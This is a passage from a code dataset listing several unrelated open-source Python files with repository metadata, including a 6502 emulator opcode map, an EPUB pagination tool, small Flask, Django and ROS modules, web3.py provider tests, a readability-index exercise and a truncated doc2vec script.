bvs.BVS_RELATIVE_OPCODE: bvs.BVSRelative(),\n clc.CLC_IMPLIED_OPCODE: clc.CLCImplied(),\n cld.CLD_IMPLIED_OPCODE: cld.CLDImplied(),\n cli.CLI_IMPLIED_OPCODE: cli.CLIImplied(),\n clv.CLV_IMPLIED_OPCODE: clv.CLVImplied(),\n _cmp.CMP_IMMEDIATE_OPCODE: _cmp.CMPImmediate(),\n _cmp.CMP_ZEROPAGE_OPCODE: _cmp.CMPZeroPage(),\n _cmp.CMP_ZEROPAGEX_OPCODE: _cmp.CMPZeroPageX(),\n _cmp.CMP_ABSOLUTE_OPCODE: _cmp.CMPAbsolute(),\n _cmp.CMP_ABSOLUTEX_OPCODE: _cmp.CMPAbsoluteX(),\n _cmp.CMP_ABSOLUTEY_OPCODE: _cmp.CMPAbsoluteY(),\n _cmp.CMP_INDIRECTX_OPCODE: _cmp.CMPIndirectX(),\n _cmp.CMP_INDIRECTY_OPCODE: _cmp.CMPIndirectY(),\n cpx.CPX_IMMEDIATE_OPCODE: cpx.CPXImmediate(),\n cpx.CPX_ZEROPAGE_OPCODE: cpx.CPXZeroPage(),\n cpx.CPX_ABSOLUTE_OPCODE: cpx.CPXAbsolute(),\n cpy.CPY_IMMEDIATE_OPCODE: cpy.CPYImmediate(),\n cpy.CPY_ZEROPAGE_OPCODE: cpy.CPYZeroPage(),\n cpy.CPY_ABSOLUTE_OPCODE: cpy.CPYAbsolute(),\n dex.DEX_IMPLIED_OPCODE: dex.DEXImplied(),\n dey.DEY_IMPLIED_OPCODE: dey.DEYImplied(),\n dec.DEC_ZEROPAGE_OPCODE: dec.DECZeroPage(),\n dec.DEC_ZEROPAGEX_OPCODE: dec.DECZeroPageX(),\n dec.DEC_ABSOLUTE_OPCODE: dec.DECAbsolute(),\n dec.DEC_ABSOLUTEX_OPCODE: dec.DECAbsoluteX(),\n inc.INC_ZEROPAGE_OPCODE: inc.INCZeroPage(),\n inc.INC_ZEROPAGEX_OPCODE: inc.INCZeroPageX(),\n inc.INC_ABSOLUTE_OPCODE: inc.INCAbsolute(),\n inc.INC_ABSOLUTEX_OPCODE: inc.INCAbsoluteX(),\n jmp.JMP_ABSOLUTE_OPCODE: jmp.JMPAbsolute(),\n jmp.JMP_INDIRECT_OPCODE: jmp.JMPIndirect(),\n sec.SEC_IMPLIED_OPCODE: sec.SECImplied(),\n sed.SED_IMPLIED_OPCODE: sed.SEDImplied(),\n sei.SEI_IMPLIED_OPCODE: sei.SEIImplied(),\n pha.PHA_IMPLIED_OPCODE: pha.PHAImplied(),\n pla.PLA_IMPLIED_OPCODE: pla.PLAImplied(),\n tax.TAX_IMPLIED_OPCODE: tax.TAXImplied(),\n txa.TXA_IMPLIED_OPCODE: txa.TXAImplied(),\n tay.TAY_IMPLIED_OPCODE: tay.TAYImplied(),\n tya.TYA_IMPLIED_OPCODE: tya.TYAImplied(),\n txs.TXS_IMPLIED_OPCODE: txs.TXSImplied(),\n tsx.TSX_IMPLIED_OPCODE: tsx.TSXImplied(),\n nop.NOP_IMPLIED_OPCODE: nop.NOPImplied(),\n plp.PLP_IMPLIED_OPCODE: plp.PLPImplied(),\n php.PHP_IMPLIED_OPCODE: php.PHPImplied(),\n jsr.JSR_ABSOLUTE_OPCODE: jsr.JSRAbsolute(),\n rts.RTS_IMPLIED_OPCODE: rts.RTSImplied(),\n inx.INX_IMPLIED_OPCODE: inx.INXImplied(),\n iny.INY_IMPLIED_OPCODE: iny.INYImplied(),\n brk.BRK_IMPLIED_OPCODE: brk.BRKImplied(),\n rti.RTI_IMPLIED_OPCODE: rti.RTIImplied(),\n bit.BIT_ZEROPAGE_OPCODE: bit.BITZeroPage(),\n bit.BIT_ABSOLUTE_OPCODE: bit.BITAbsolute(),\n}","repo_name":"thales-angelino/py6502emulator","sub_path":"emulator_6502/instructions/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":8030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2813361532","text":"from math import floor\nfrom re import finditer, search\n\nfrom ebooklib import ITEM_DOCUMENT\nfrom ebooklib.epub import EpubHtml, etree, read_epub, zipfile\n\nfrom modules.helperfunctions import romanize, romanToInt\nfrom modules.navutils import makePgMap, prepareNavigations, processNavigations\nfrom modules.nodeutils import addPageMapRefs, getBookContent, insertAtPosition,identifyPageNodes\nfrom modules.pathutils import pageIdPattern, pathProcessor\nfrom modules.progressbar import mapReport\nfrom modules.statisticsutils import lineSplitter, outputStats, pagesFromStats\nfrom modules.tocutils import checkToC, processToC\n\ncalculatedSizes:list[int|float]= []\n\ndef overrideZip(src:str,dest:str,repDict:dict={},pageMap:str|None=None):\n \"\"\"Zip replacer from the internet because for some reason the write method of the ebook library breaks HTML\"\"\"\n with zipfile.ZipFile(src) as inZip, zipfile.ZipFile(dest, \"w\",compression=zipfile.ZIP_DEFLATED) as outZip:\n # Iterate the input files\n if pageMap:\n opfFile = next((x for x in inZip.infolist() if x.filename.endswith('.opf')),None)\n if not opfFile: raise LookupError('somehow your epub does not have an opf file.')\n opfContent = inZip.open(opfFile).read()\n mapReferences = addPageMapRefs(opfContent)\n if mapReferences is None: repDict['page-map.xml'] = pageMap\n else:\n repDict[opfFile.filename] = mapReferences.decode('utf-8')\n outZip.writestr('page-map.xml',pageMap)\n\n for inZipInfo in inZip.infolist():\n # Read input file\n with inZip.open(inZipInfo) as inFile:\n # Sometimes EbookLib does not include the root epub path in its filenames, so we're using endswith.\n inDict = next((x for x in repDict.keys() if inZipInfo.filename == x or ('/'.join(inZipInfo.filename.split('/')[1:]) == x)),None)\n if inDict is not None:\n outZip.writestr(inZipInfo.filename, repDict[inDict].encode('utf-8'))\n repDict.pop(inDict,None)\n # copying non-changed files, saving the mimetype without compression\n else: outZip.writestr(inZipInfo.filename, inFile.read(),compress_type=zipfile.ZIP_STORED if inZipInfo.filename.lower() == 'mimetype' else zipfile.ZIP_DEFLATED)\n print(f'Succesfully saved {dest}')\n\n\ndef approximatePageLocationsByLine(stripped:str, pages:int, pageMode:str|int,offset=0):\n \"\"\"Splitting up the stripped text of the book by number of lines. Takes 'lines' or a maximum line length as its pageMode parameter. \"\"\"\n lines = lineSplitter(stripped,pageMode)\n # This should only seldomly happen, but best to be prepared.\n if len(lines) < pages: raise BaseException(f'The number of detected lines in the book ({len(lines)}) is smaller than the number of pages to generate ({pages}). Consider using the \"chars\" paging mode for this book.')\n lineOffset = 0\n lineLocations:list[int]=[]\n # for most of the splitting we don't care about text content, just locations.\n for line in lines:\n lineLocations.append(lineOffset)\n lineOffset = lineOffset + len(line)\n # calculating the number of lines per page.\n step = len(lines)/pages\n if offset == 0: print(f'Calculated approximate page height of {\"{:.2f}\".format(step)} lines')\n calculatedSizes.append(step)\n # step is a float, so we round it to get a valid index.\n pgList = [lineLocations[round(step*i)] for i in range(pages)]\n return pgList if offset == 0 else [p+offset for p in pgList]\n\n\ndef getSingleLocation(lastPage:int,ranges:list[tuple[int,int,int]]):\n offset = 0\n lastLocation = 0\n for [_,end,numPages] in ranges:\n offset = offset+ numPages\n if offset >= lastPage:\n lastLocation = end\n break\n return lastLocation\n\n\ndef processRomans(roman:int|None,ranges:list[tuple[int,int,int]],frontRanges:list[tuple[int,int,int]],stripText:str,knownRomans:tuple[str],tocMap:tuple[int|str],pages:int,breakMode:str,pageMode:str|int):\n if roman is None: roman = 0\n pageOne = next((i for [i,x] in enumerate(tocMap) if x == 1),None)\n if pageOne is None: raise LookupError('ToC map needs to define the location of page 1 for compatibility with Roman numerals for front matter')\n frontEnd = ranges[0][0]\n frontText = stripText[0:frontEnd]\n [_,contentMapped] = approximatePageLocationsByRanges(ranges,[],stripText,pages,breakMode,pageMode)\n if roman == 0 or len(knownRomans) != 0:\n lastKnownRoman = romanToInt(knownRomans[-1]) if len(knownRomans) != 0 else 0\n lastRomanLocation = getSingleLocation(lastKnownRoman,frontRanges)\n frontDef = floor(sum(calculatedSizes)/len(calculatedSizes)) if lastRomanLocation == 0 else floor(lastRomanLocation/lastKnownRoman)\n roman = max(pagesFromStats(frontText,pageMode,frontDef) if roman == 0 else roman,lastKnownRoman)\n if len(frontRanges) == 0: frontRanges = [(0,frontEnd,roman)]\n elif frontEnd-frontRanges[-1][1] != 0:\n sectionPages = pagesFromStats(frontText[frontRanges[-1][1]:],pageMode,frontDef)\n roman = roman + sectionPages-1\n frontRanges.append((frontRanges[-1][1],frontEnd,sectionPages))\n [_,frontMapped] = approximatePageLocationsByRanges(frontRanges,[],frontText,roman,breakMode,pageMode)\n return (roman,frontMapped+contentMapped)\n\n\ndef approximatePageLocationsByRanges(ranges:list[tuple[int,int,int]],frontRanges:list[tuple[int,int,int]],stripText:str,pages = 5, breakMode='split', pageMode:str|int='chars',roman:int|None=None,tocMap:tuple[int|str]=tuple()):\n \"\"\"This is the page location function used if we know not just how many pages are in a book, but also where specific pages are.\\n\n The content of each tuple in the ranges argument is the range start, range end and the number of pages within that range.\"\"\"\n knownRomans = tuple(x for x in tocMap if isinstance(x,str))\n if roman is not None or len(knownRomans) != 0: return processRomans(roman,ranges,frontRanges,stripText,knownRomans,tocMap,pages,breakMode,pageMode)\n\n pageLocations:list[int] = []\n processedPages = 0\n for [start,end,numPages] in ranges:\n pageLocations = pageLocations + approximatePageLocations(stripText[start:end],numPages,breakMode,pageMode,start)\n processedPages = processedPages + numPages\n lastRange = ranges[-1] if len(ranges) != 0 else (0,0,0)\n pagesRemaining = pages - processedPages\n if pagesRemaining != 0:\n pageLocations = pageLocations + approximatePageLocations(stripText[lastRange[1]:],pagesRemaining,breakMode,pageMode,lastRange[1])\n return (0,pageLocations)\n\n\ndef approximatePageLocationsByWords(stripped:str,pages:int,offset:int):\n wordMatches = tuple(x.start() for x in finditer(r'\\S+',stripped))\n pgSize = len(wordMatches)/pages\n if offset == 0: print(f'Calculated approximate page size of {pgSize} words')\n calculatedSizes.append(pgSize)\n pgListW = [wordMatches[round(pgSize*i)] for i in range(pages)]\n return pgListW if offset == 0 else [p+offset for p in pgListW]\n\n\ndef shiftPageListing(pgList:list[int],stripped:str,pgSize:int, breakMode:str):\n for [i,p] in enumerate(pgList):\n # getting the text of the current page.\n page = stripped[p:p+pgSize]\n # the 'prev' mode uses the same operations as the 'next' mode, just on the reversed string.\n if breakMode == 'prev': page = page[::-1]\n # finding the next/previous whitespace character.\n nextSpace = search(r'\\s',page)\n # If we don't find any whitespace we just leave the break where it is.\n if nextSpace is None: continue\n # in the 'prev' mode we need to subtract the index we found.\n pgList[i] = (p + nextSpace.start() * (1 if breakMode == 'next' else -1))\n return pgList\n\n\ndef approximatePageLocations(stripped:str, pages = 5, breakMode='split', pageMode:str|int='chars',offset=0,roman:int|None=None) -> list[int]:\n \"\"\"Generate a list of page break locations based on the chosen page number and paging mode.\"\"\"\n # taking care of the 'lines' paging mode\n if len(stripped) == 0: return [0]\n if pageMode == 'lines' or isinstance(pageMode, int): return approximatePageLocationsByLine(stripped,pages,pageMode,offset)\n if pageMode == 'words': return approximatePageLocationsByWords(stripped,pages,offset)\n if roman is not None: pages = pages + (roman or 0)\n pgSize = floor(len(stripped)/pages)\n if offset == 0: print(f'Calculated approximate page size of {pgSize} characters')\n calculatedSizes.append(pgSize)\n # The initial locations for our page splits are simply multiples of the page size\n pgList = [i*pgSize for i in range(pages)]\n # the 'split' break mode does not care about breaking pages in the middle of a word, so nothing needs to be done.\n if breakMode == 'split': return pgList\n pgList = shiftPageListing(pgList,stripped,pgSize,breakMode)\n return pgList if offset == 0 else [p+offset for p in pgList]\n\n\ndef mapPages(pagesMapped:list[tuple[int, int]],stripSplits:list[int],docStats:list[tuple[etree.ElementBase, list[tuple[etree.ElementBase, int, int]], dict[str, int]]],docs:list[EpubHtml],epub3Nav:EpubHtml,knownPages:dict[int,str]={},pageOffset=1,roman=0):\n \"\"\"Function for mapping page locations to actual page break elements in the epub's documents.\"\"\"\n changedDocs:list[int] = []\n pgLinks:list[str]=[]\n # We use currentIndex and currentIndex to keep track of which document ranges we need.\n for [i,[pg,docIndex]] in enumerate(pagesMapped):\n # showing the progress bar\n mapReport(i+1,len(pagesMapped))\n docLocation = pg - stripSplits[docIndex]\n # Generating links. If the location is right at the start of a file we just link to the file directly\n [doc,docRanges,_] = docStats[docIndex]\n realPage = romanize(i,roman,pageOffset)\n pgLinks.append(docs[docIndex].file_name if docLocation == 0 else f'{docs[docIndex].file_name}#{pageIdPattern(i)}' if realPage not in knownPages else knownPages[realPage])\n # no need to insert a break in that case either\n if docLocation == 0: continue\n # making our page breaker\n breakSpan:etree.ElementBase = doc.makeelement('span',None,None)\n breakSpan.set('id',f'pg_break_{i}')\n # page breaks don't have text, but they do have a value.\n breakSpan.set('value',str(realPage))\n # EPUB2 does not support the epub: namespace.\n if epub3Nav is not None:breakSpan.set('epub:type','pagebreak')\n # we don't recalculate the ranges because page breaks do not add any text.\n insertAtPosition(docLocation,docRanges,breakSpan)\n # noting the filename of every document that was modified.\n if docIndex not in changedDocs: changedDocs.append(docIndex)\n return [pgLinks,changedDocs]\n\n\ndef checkValidConstellations(suggest:bool,auto:bool,useToc:bool,tocMap:tuple[int|str],toc:list):\n if suggest and auto == False: raise ValueError('The --suggest flag can only be used if the --auto Flag is also set.')\n if useToc and checkToC(toc,tocMap) == False: return\n return True\n\n\ndef fillDict(changedDocs:list[int],docs:list[EpubHtml],docStats:list[tuple[etree.ElementBase, list[tuple[etree.ElementBase, int, int]]]]):\n repDict = {}\n # adding all changed documents to our dictionary of changed files\n for x in changedDocs: repDict[docs[x].file_name] = etree.tostring(docStats[x][0],method='html').decode('utf-8')\n return repDict\n\n\ndef mappingWrapper(stripSplits:list[str],docStats:list[tuple[etree.ElementBase, list[tuple[etree.ElementBase, int, int]]]],docs:tuple[EpubHtml],epub3Nav:EpubHtml,knownPages:dict[int|str,str],pageOffset:int,pageLocations:list[int],adobeMap:bool,roman:int|None,fromExisting:str=None,pageTag:str=None):\n if fromExisting is None:\n [pgLinks,changedDocs] = mapPages(\n tuple((pg,next(y[0]-1 for y in enumerate(stripSplits) if y[1] > pg))\n for pg in pageLocations),stripSplits,docStats,docs,epub3Nav,knownPages,pageOffset,roman\n )\n adoMap = None if adobeMap == False else makePgMap(pgLinks,pageOffset,roman)\n return (pgLinks,changedDocs,adoMap,[])\n else:\n print(['Huuka',fromExisting])\n [pgLinks,changedDocs,numList] = identifyPageNodes(docStats,docs,fromExisting,pageTag)\n adoMap = None if adobeMap == False else makePgMap(pgLinks,0)\n return (pgLinks,changedDocs,adoMap,numList)\n\n\ndef getPagesAndRomans(pages:int|str,roman:str|int|None):\n pages = int(pages) if search(r'^\\d+$', pages) else pages\n if roman == 'auto': roman = 0\n elif roman is not None and type(roman) != int: roman = romanToInt(roman)\n return (pages,roman)\n\n\ndef sortDocuments(docs:tuple[EpubHtml],spine:list[tuple[str,bool]],nonlinear=\"append\",unlisted=\"ignore\"):\n nonLinearSort = -1 if nonlinear == 'append' else 1\n spineIds = tuple(x[0] for x in tuple(sorted(spine,key=lambda x: nonLinearSort * (1 if x[1]=='yes' else -1))) if (nonlinear != 'ignore' or x[1]=='yes'))\n # sorting the documents by the order they are referenced in the spine\n return docs if len(spineIds) == 0 else tuple(sorted([x for x in docs if (unlisted != \"ignore\" or x.id in spineIds)],key= lambda d: spineIds.index(d.id) if d.id in spineIds else float('inf' if unlisted == 'append' else '-inf')))\n\n\ndef processEPUB(path:str,pages:int|str,suffix:str=None,newPath:str=None,newName:str=None,noNav=False, noNcX = False,breakMode='next',pageMode:str|int='chars',tocMap:tuple[int|str]=tuple(),adobeMap=False,suggest=False,auto=False,roman:int|str|None=None,nonlinear=\"append\",unlisted=\"ignore\",pageTag:str=None):\n \"\"\"The main function of the script. Receives all command line arguments and delegates everything to the other functions.\"\"\"\n (pages,roman) = getPagesAndRomans(pages,roman)\n pub = read_epub(path)\n useToc = len(tocMap) != 0\n if not checkValidConstellations(suggest,auto,useToc,tocMap,pub.toc): return\n [epub3Nav,ncxNav] = prepareNavigations(pub)\n # getting all documents that are not the internal EPUB3 navigation.\n docs = sortDocuments(tuple(x for x in pub.get_items_of_type(ITEM_DOCUMENT) if isinstance(x,EpubHtml)),pub.spine,nonlinear,unlisted)\n # we might have a book that starts at page 0\n pageOffset = 1\n # processing the book contents.\n [stripText,stripSplits,docStats] = getBookContent(docs)\n if pages == 'bookstats': return outputStats(stripText,pageMode)\n elif auto:\n print('Generating automatic page count...')\n pages = pagesFromStats(stripText,pageMode,pages)\n if suggest:return print(f'Suggested page count: {pages}')\n print(f'Generated page count: {pages}')\n print('Starting pagination...')\n buildFromTags= type(pages) == str\n knownPages:dict[int|str,str] = {}\n # figuring out where the pages are located, and mapping those locations back onto the individual documents.\n pageLocations:list[int]=[]\n if useToc and not buildFromTags:\n if tocMap[0] == 0 and roman is None and next((x for x in tocMap if isinstance(x,str)),None) is None:\n pageOffset = 0\n pages = pages+1\n [frontRanges,contentRanges] = processToC(pub.toc,tocMap,knownPages,docs,stripSplits,docStats,pageOffset)\n [roman,pageLocations] = approximatePageLocationsByRanges(contentRanges,frontRanges,stripText,pages,breakMode,pageMode,roman,tocMap)\n elif not buildFromTags: pageLocations = approximatePageLocations(stripText,pages,breakMode,pageMode,0,roman)\n [pgLinks,changedDocs,adoMap,numList] = mappingWrapper(stripSplits,docStats,docs,epub3Nav,knownPages,pageOffset,pageLocations,adobeMap,roman,pages if buildFromTags else None,pageTag)\n repDict = fillDict(changedDocs,docs,docStats)\n # finally, we save all our changed files into a new EPUB.\n if processNavigations(epub3Nav,ncxNav,pgLinks,repDict,noNav, noNcX,pageOffset,roman,numList):overrideZip(path,pathProcessor(path,newPath,newName,suffix),repDict,adoMap)","repo_name":"Thertzlor/epub-print-page-approximator","sub_path":"modules/pageprocessor.py","file_name":"pageprocessor.py","file_ext":"py","file_size_in_byte":15414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34177865759","text":"from flask import Blueprint, render_template, flash, session\n\ncla = Blueprint('cla', __name__)\n\n\n# <--- Classes routes beginning --->\n@cla.route('/classes')\ndef classes():\n if session['username'] == '' or 'username' not in session:\n flash('You must be logged for navigation', 'danger')\n return render_template('index.html')\n else:\n return render_template('classes.html', title='Classes')\n","repo_name":"raphaelcordon/Music_School_HTML","sub_path":"views/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"43054101866","text":"from enum import Enum\nfrom json import JSONEncoder\n\nfrom datetime import datetime\n\nfrom Bot.CustomSerializable import CustomSerializable\nfrom Bot.Value import Value\n\n\nclass CustomJsonEncoder(JSONEncoder):\n def default(self, obj):\n if isinstance(obj, Value):\n return str(obj)\n if isinstance(obj, CustomSerializable):\n return obj.serializable_dict()\n if isinstance(obj, float):\n return format(obj, '.8f')\n if isinstance(obj, Enum):\n return obj.name\n if isinstance(obj, datetime):\n return obj.now().replace(microsecond=0).isoformat(' ')\n return obj.__dict__\n","repo_name":"iilunin/crypto-bot","sub_path":"Bot/JsonEncoder.py","file_name":"JsonEncoder.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":234,"dataset":"github-code","pt":"37"} +{"seq_id":"3210349199","text":"'''\nLAB 22 ARI \n\nCompute the ARI for a given body of text loaded in from a file. \nThe automated readability index (ARI) is a formula for computing the U.S. grade level for \na given block of text. The general formula to compute the ARI is as follows:\n\nARI Formula\n4.71(characters/words) + 0.5 (words/sentences) - 21.43\n\nThe score is computed by multiplying the number of characters divided by the number of words \nby 4.17, adding the number of words divided by the number of sentences multiplied by 0.5, \nand subtracting 21.43. If the result is a decimal, always round up. Scores greater than \n14 should be presented as having the same age and grade level as scores of 14.\n\n'''\nimport string\nimport math\n# create string for reading characters of a document (ARI)\n# string should output a score between (1 and 14)\n\n\n#ARI = int(4.71* (/w[a-zA-Z]+ / [a-zA-Z]+) + 0.5* ([a-zA-Z]+) - 21.43)\n#find number of characters\n#find number of words\n#find number of sentences\n#set variables\nfilename = \"gettysaddress.txt\"\nlines = 0\nchars = 0\nwords = 0\n\n\nwith open(filename, 'r') as file:\n for line in file: \n wordsList = line.split() # returns list of word in str \n lines += 1\n words += len(wordsList) # just get length of wordslist list\n chars += len(line) # gets length of line on each iteration of # of characters\n\nprint(\"lines:\" , lines)\nprint(\"characters:\" , chars)\nprint(\"words:\" , words)\n\n# ARI formula \n\nari = math.ceil(4.71*(int(chars) / int(words)) + 0.5* (int(words) / int(lines)) - 21.43)\n\nprint(\"The ARI of this material is:\" , ari) #rounds ARI \n\n# use a dictionary to look up the age range and grade level equated with ARI\n# first step create dictionary \n\nari_scale = {\n 1: {'ages': '5-6', 'grade_level': 'Kindergarten'},\n 2: {'ages': '6-7', 'grade_level': '1st Grade'},\n 3: {'ages': '7-8', 'grade_level': '2nd Grade'},\n 4: {'ages': '8-9', 'grade_level': '3rd Grade'},\n 5: {'ages': '9-10', 'grade_level': '4th Grade'},\n 6: {'ages': '10-11', 'grade_level': '5th Grade'},\n 7: {'ages': '11-12', 'grade_level': '6th Grade'},\n 8: {'ages': '12-13', 'grade_level': '7th Grade'},\n 9: {'ages': '13-14', 'grade_level': '8th Grade'},\n 10: {'ages': '14-15', 'grade_level': '9th Grade'},\n 11: {'ages': '15-16', 'grade_level': '10th Grade'},\n 12: {'ages': '16-17', 'grade_level': '11th Grade'},\n 13: {'ages': '17-18', 'grade_level': '12th Grade'},\n 14: {'ages': '18-22', 'grade_level': 'College'}\n}\n\n#function should loop through the dict to find the grade level that correponds to the ARI score\n\nprint(ari_scale[int(ari)]['ages'])\n\n \n\n\n\n\n \n\n \n\n\n\n \n\n\n\n","repo_name":"PdxCodeGuild/class_llama","sub_path":"code/Jasmine/lab22.py","file_name":"lab22.py","file_ext":"py","file_size_in_byte":2675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36639189018","text":"#!/usr/bin/env python3\nimport rospy\nfrom smach import State,StateMachine\nfrom time import sleep\nimport smach_ros\n\nclass Manual(State):\n def __init__(self):\n State.__init__(self, outcomes=['controller_on','manual','navigation'], input_keys=['input'], output_keys=[''])\n \n def execute(self, userdata):\n sleep(1)\n return 'controller_on'\n '''\n if userdata.input == 'controller_on':\n return 'controller_on'\n else:\n return 'manual'\n '''\n\nclass Controller_On(State):\n def __init__(self):\n State.__init__(self, outcomes=['controller_on','manual','navigation'], input_keys=['input'], output_keys=[''])\n def execute(self, userdata):\n sleep(1)\n return 'navigation'\n '''\n if userdata.input == 'manual':\n return 'manual'\n else:\n return 'controller_on'\n '''\n\nclass Navigation(State):\n def __init__(self):\n State.__init__(self, outcomes=['controller_on','manual','navigation'], input_keys=['input'], output_keys=[''])\n def execute(self, userdata):\n sleep(1)\n return 'manual'\n\n \nif __name__ == '__main__':\n\n rospy.init_node('robot_fsm', anonymous=True)\n sm = StateMachine(outcomes=['controller_on','manual','navigation'])\n sm.userdata.sm_input = 'manual'\n with sm:\n StateMachine.add('MANUAL', Manual(), transitions={'controller_on':'CONTROLLER_ON','navigation':'NAVIGATION'}, remapping={'input':'sm_input','output':'input'})\n StateMachine.add('CONTROLLER_ON', Controller_On(), transitions={'navigation':'NAVIGATION','manual':'MANUAL'}, remapping={'input':'sm_input','output':'input'})\n StateMachine.add('NAVIGATION', Navigation(), transitions={'manual':'MANUAL'}, remapping={'input':'sm_input','output':'input'})\n sis = smach_ros.IntrospectionServer('server_name', sm, '/SM_ROOT')\n sis.start()\n\n sm.execute()\n rospy.spin()\n sis.stop()","repo_name":"andrewKCF/my_wro","sub_path":"src/robot_fsm.py","file_name":"robot_fsm.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70504822827","text":"\n\nfrom django.shortcuts import get_object_or_404\nfrom rest_framework.views import APIView\nfrom customerApi.models import customersModel\nfrom filmApi.models import filmsModel\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import action\n\nclass customAPIs(APIView):\n \n def get_movies_by_genre(self, request, genre):\n movies = filmsModel.objects.filter(genre=genre)\n movie_list = [movie.title for movie in movies]\n response_data = {\n \"genre\": genre,\n \"movies_by_genre\": movie_list,\n }\n return Response(response_data, status=status.HTTP_200_OK)\n\n def get_movies_rented_by_customer(self, request, customer_id):\n customer = get_object_or_404(customersModel, id=customer_id)\n rental_count = customer.rentalrecordmodel_set.count()\n response_data = {\n \"customer_id\": customer.id,\n \"customer_name\": f\"{customer.username}\",\n \"movies_rented\": rental_count,\n }\n return Response(response_data, status=status.HTTP_200_OK)\n\n def get(self, request, customer_id=None, genre=None):\n if genre:\n return self.get_movies_by_genre(request, genre)\n else:\n return self.get_movies_rented_by_customer(request, customer_id)\n","repo_name":"TenpennyUMFPOS/estiamPythonProjet","sub_path":"filmrentalcenter/filmrentalcenter/customAPIs.py","file_name":"customAPIs.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36667762109","text":"import asyncio\nimport json\nimport pytest\nimport sys\n\nfrom eth_utils import (\n to_bytes,\n)\n\nfrom web3.exceptions import (\n TimeExhausted,\n)\nfrom web3.providers.websocket import (\n WebsocketProviderV2,\n)\nfrom web3.types import (\n RPCEndpoint,\n)\n\n\ndef _mock_ws(provider):\n # move to top of file when python 3.7 is no longer supported in web3.py\n from unittest.mock import (\n AsyncMock,\n )\n\n provider._ws = AsyncMock()\n\n\n@pytest.mark.asyncio\n@pytest.mark.skipif(\n # TODO: remove when python 3.7 is no longer supported in web3.py\n # python 3.7 is already sunset so this feels like a reasonable tradeoff\n sys.version_info < (3, 8),\n reason=\"Uses AsyncMock, not supported by python 3.7\",\n)\nasync def test_async_make_request_caches_all_undesired_responses_and_returns_desired():\n provider = WebsocketProviderV2(\"ws://mocked\")\n\n method_under_test = provider.make_request\n\n _mock_ws(provider)\n undesired_responses_count = 10\n ws_recv_responses = [\n to_bytes(\n text=json.dumps(\n {\n \"jsonrpc\": \"2.0\",\n \"method\": \"eth_subscription\",\n \"params\": {\"subscription\": \"0x1\", \"result\": f\"0x{i}\"},\n }\n )\n )\n for i in range(0, undesired_responses_count)\n ]\n # The first request we make should have an id of `0`, expect the response to match\n # that id. Append it as the last response in the list.\n ws_recv_responses.append(b'{\"jsonrpc\": \"2.0\", \"id\":0, \"result\": \"0x1337\"}')\n provider._ws.recv.side_effect = ws_recv_responses\n\n response = await method_under_test(RPCEndpoint(\"some_method\"), [\"desired_params\"])\n assert response == json.loads(ws_recv_responses.pop()) # pop the expected response\n\n assert (\n len(provider._request_processor._subscription_response_deque)\n == len(ws_recv_responses)\n == undesired_responses_count\n )\n\n for cached_response in provider._request_processor._subscription_response_deque:\n # assert all cached responses are in the list of responses we received\n assert to_bytes(text=json.dumps(cached_response)) in ws_recv_responses\n\n\n@pytest.mark.asyncio\n@pytest.mark.skipif(\n # TODO: remove when python 3.7 is no longer supported in web3.py\n # python 3.7 is already sunset so this feels like a reasonable tradeoff\n sys.version_info < (3, 8),\n reason=\"Uses AsyncMock, not supported by python 3.7\",\n)\nasync def test_async_make_request_returns_cached_response_with_no_recv_if_cached():\n provider = WebsocketProviderV2(\"ws://mocked\")\n\n method_under_test = provider.make_request\n\n _mock_ws(provider)\n\n # cache the response, so we should get it immediately & should never call `recv()`\n desired_response = {\"jsonrpc\": \"2.0\", \"id\": 0, \"result\": \"0x1337\"}\n provider._request_processor.cache_raw_response(desired_response)\n\n response = await method_under_test(RPCEndpoint(\"some_method\"), [\"desired_params\"])\n assert response == desired_response\n\n assert len(provider._request_processor._request_response_cache) == 0\n assert not provider._ws.recv.called # type: ignore\n\n\n@pytest.mark.asyncio\n@pytest.mark.skipif(\n # TODO: remove when python 3.7 is no longer supported in web3.py\n # python 3.7 is already sunset so this feels like a reasonable tradeoff\n sys.version_info < (3, 8),\n reason=\"Uses AsyncMock, not supported by python 3.7\",\n)\nasync def test_async_make_request_times_out_of_while_loop_looking_for_response():\n timeout = 0.001\n provider = WebsocketProviderV2(\"ws://mocked\", request_timeout=timeout)\n\n method_under_test = provider.make_request\n\n _mock_ws(provider)\n # mock the websocket to never receive a response & sleep longer than the timeout\n provider._ws.recv = lambda *args, **kwargs: asyncio.sleep(1)\n\n with pytest.raises(\n TimeExhausted,\n match=r\"Timed out waiting for response with request id `0` after \"\n rf\"{timeout} second\\(s\\)\",\n ):\n await method_under_test(RPCEndpoint(\"some_method\"), [\"desired_params\"])\n","repo_name":"ethereum/web3.py","sub_path":"tests/core/providers/test_wsv2_provider.py","file_name":"test_wsv2_provider.py","file_ext":"py","file_size_in_byte":4083,"program_lang":"python","lang":"en","doc_type":"code","stars":4510,"dataset":"github-code","pt":"37"} +{"seq_id":"32082479503","text":"from gensim.models.doc2vec import Doc2Vec\nimport pandas as pd\nimport numpy as np\nfrom sklearn.svm import SVC\nraw=pd.read_csv(\"../train.csv\")\ncontent=raw[\"content\"]\nsentiment_value=raw[\"sentiment_value\"]\nmodel= Doc2Vec.load(\"d2v.model\")\nvectors=[]\nfor i in range(len(content)):\n vectors.append(model.docvecs[str(i)])\nvectors=np.array(vectors)\nclf = SVC(gamma='auto')\nclf.fit(vectors,sentiment_value.tolist())\nmodel2= Doc2Vec.load(\"d2v_test.model\")\ntest=pd.read_csv(\"../commit/result_tfidf.csv\")\ncontent_test=test[\"content\"]\nvectors_test=[]\nfor i in range(len(content_test)):\n 